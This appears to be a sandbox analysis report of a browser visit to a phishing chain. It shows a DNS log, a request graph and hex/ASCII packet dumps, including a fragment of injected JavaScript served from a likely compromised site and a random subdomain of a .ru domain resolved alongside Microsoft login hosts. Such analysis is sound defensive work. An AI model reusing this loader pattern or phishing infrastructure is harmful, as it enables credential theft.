Jan 9, 2025 04:28:35.085464954 CET	1.1.1.1	192.168.2.5	0xf557	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:35.085464954 CET	1.1.1.1	192.168.2.5	0xf557	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:35.113863945 CET	1.1.1.1	192.168.2.5	0xc204	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:35.113863945 CET	1.1.1.1	192.168.2.5	0xc204	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:35.113882065 CET	1.1.1.1	192.168.2.5	0xeaf6	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 9, 2025 04:28:37.083008051 CET	1.1.1.1	192.168.2.5	0xb442	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:50.640347958 CET	1.1.1.1	192.168.2.5	0x3ce4	No error (0)	ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru			65	IN (0x0001)	false
Jan 9, 2025 04:28:50.640798092 CET	1.1.1.1	192.168.2.5	0xdd94	No error (0)	ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru		104.21.42.208	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:50.640798092 CET	1.1.1.1	192.168.2.5	0xdd94	No error (0)	ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru		172.67.166.74	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:52.188669920 CET	1.1.1.1	192.168.2.5	0xd62e	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:28:52.188757896 CET	1.1.1.1	192.168.2.5	0xd7a	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:28:52.301794052 CET	1.1.1.1	192.168.2.5	0xda3a	No error (0)	ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru			65	IN (0x0001)	false
Jan 9, 2025 04:28:52.401302099 CET	1.1.1.1	192.168.2.5	0x4146	No error (0)	ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru		104.21.42.208	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:52.401302099 CET	1.1.1.1	192.168.2.5	0x4146	No error (0)	ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru		172.67.166.74	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:53.241681099 CET	1.1.1.1	192.168.2.5	0x21de	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:28:53.241681099 CET	1.1.1.1	192.168.2.5	0x21de	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:28:53.274858952 CET	1.1.1.1	192.168.2.5	0xcd78	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:28:53.274858952 CET	1.1.1.1	192.168.2.5	0xcd78	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:28:54.409480095 CET	1.1.1.1	192.168.2.5	0x888c	No error (0)	shed.dual-low.s-part-0033.t-0009.t-msedge.net	s-part-0033.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:28:54.409480095 CET	1.1.1.1	192.168.2.5	0x888c	No error (0)	s-part-0033.t-0009.t-msedge.net		13.107.246.61	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:55.320672035 CET	1.1.1.1	192.168.2.5	0x83d5	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:28:55.320672035 CET	1.1.1.1	192.168.2.5	0x83d5	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:55.554335117 CET	1.1.1.1	192.168.2.5	0x590f	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:28:55.554335117 CET	1.1.1.1	192.168.2.5	0x590f	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:28:55.577155113 CET	1.1.1.1	192.168.2.5	0x76a9	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:28:55.577155113 CET	1.1.1.1	192.168.2.5	0x76a9	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:28:56.634393930 CET	1.1.1.1	192.168.2.5	0x8ce2	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:28:56.634393930 CET	1.1.1.1	192.168.2.5	0x8ce2	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:28:56.634393930 CET	1.1.1.1	192.168.2.5	0x8ce2	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:56.635059118 CET	1.1.1.1	192.168.2.5	0x518f	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:28:56.635059118 CET	1.1.1.1	192.168.2.5	0x518f	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:29:12.554501057 CET	1.1.1.1	192.168.2.5	0x3a90	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:29:12.555058956 CET	1.1.1.1	192.168.2.5	0x5bc4	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:29:37.093410969 CET	1.1.1.1	192.168.2.5	0xd08e	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:29:37.093437910 CET	1.1.1.1	192.168.2.5	0x14ce	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:31:37.123398066 CET	1.1.1.1	192.168.2.5	0xa220	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 04:31:37.123429060 CET	1.1.1.1	192.168.2.5	0xbb0	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

ecohomethings.net

cdnjs.cloudflare.com

cciq.absousium.ru

https:

code.jquery.com

challenges.cloudflare.com

ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	103.83.194.55	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:30 UTC	656	OUT	GET /res444.php?2-68747470733a2f2f636369712e6162736f757369756d2e72752f6f3562384458412f-beech HTTP/1.1 Host: ecohomethings.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:30 UTC	196	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:30 GMT Server: Apache Access-Control-Allow-Origin: * Connection: close Transfer-Encoding: chunked Content-Type: text/javascript;charset=UTF-8
2025-01-09 03:28:30 UTC	1999	IN	Data Raw: 37 63 33 0d 0a 20 20 20 20 76 61 72 20 63 78 6e 65 4a 66 6e 64 53 71 4f 63 6c 45 62 79 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 63 78 6e 65 4a 66 6e 64 53 71 4f 63 6c 45 62 79 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 63 78 6e 65 4a 66 6e 64 53 71 4f 63 6c 45 62 79 29 3b 0d 0a 63 78 6e 65 4a 66 6e 64 53 71 4f 63 6c 45 62 79 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: 7c3 var cxneJfndSqOclEby = document.createElement("script");cxneJfndSqOclEby.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(cxneJfndSqOclEby);cxneJfndSqOclEby.onload=function()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	104.17.25.14	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:31 UTC	526	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:31 UTC	952	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:31 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: MISS Expires: Tue, 30 Dec 2025 03:28:31 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FhFv%2BqYrYWD4kysR2NhRSVx9QEr7DgjZn0VN7pmWqM21HfqZLgIKQQEt6fKZAdP5N%2BRx9iEV%2F6%2BG%2FUIMMDPAiX6sUvZhsQjl%2FrrLfEeh56IjpAR6pS1e99S7GVjvGxIJDH1SPrPF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ff156723c4b1835-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 03:28:31 UTC	417	IN	Data Raw: 37 62 66 39 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7bf9!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2025-01-09 03:28:31 UTC	1369	IN	Data Raw: 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 52 Data Ascii: .crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getR
2025-01-09 03:28:31 UTC	1369	IN	Data Raw: 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 Data Ascii: ++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:function(){v
2025-01-09 03:28:31 UTC	1369	IN	Data Raw: 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b Data Ascii: s._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doProcessBlock
2025-01-09 03:28:31 UTC	1369	IN	Data Raw: 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c Data Ascii: :++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>>0?1:0)\|0,
2025-01-09 03:28:31 UTC	1369	IN	Data Raw: 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 Data Ascii: 0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i\|0)+((6553
2025-01-09 03:28:31 UTC	1369	IN	Data Raw: 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 39 36 37 32 39 36 2a 6c 2e 61 Data Ascii: =s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=4294967296l.a
2025-01-09 03:28:31 UTC	1369	IN	Data Raw: 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 5d 29 2c 6d 3d 43 28 6d 2c 78 Data Ascii: b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38]),m=C(m,x
2025-01-09 03:28:31 UTC	1369	IN	Data Raw: 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 Data Ascii: (this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<<o\|c>>>3
2025-01-09 03:28:31 UTC	1369	IN	Data Raw: 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c 42 5b 69 5d 3d Data Ascii: (n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5))),B[i]=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49713	103.83.194.55	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
